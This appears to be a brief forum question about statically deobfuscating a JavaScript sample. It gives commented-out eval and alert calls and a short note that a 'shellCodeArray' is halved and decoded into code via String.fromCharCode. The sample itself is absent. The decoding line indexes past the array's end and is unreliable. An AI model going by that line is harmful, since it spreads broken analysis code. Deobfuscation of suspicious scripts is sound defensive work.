Deobfuscate Javascript, script can't be compiled

Could you give me a static analysis way to deobfuscate the Javascript code ?

 //eval(mainCode);
 //alert(mainCode); 


Conclusion: The js code is not heavily obfuscated...
shellCodeArray = each value is divided by 2
mainCode = (mainCode + (String.fromCharCode(shellCodeArray[shellCodeArray.length])))
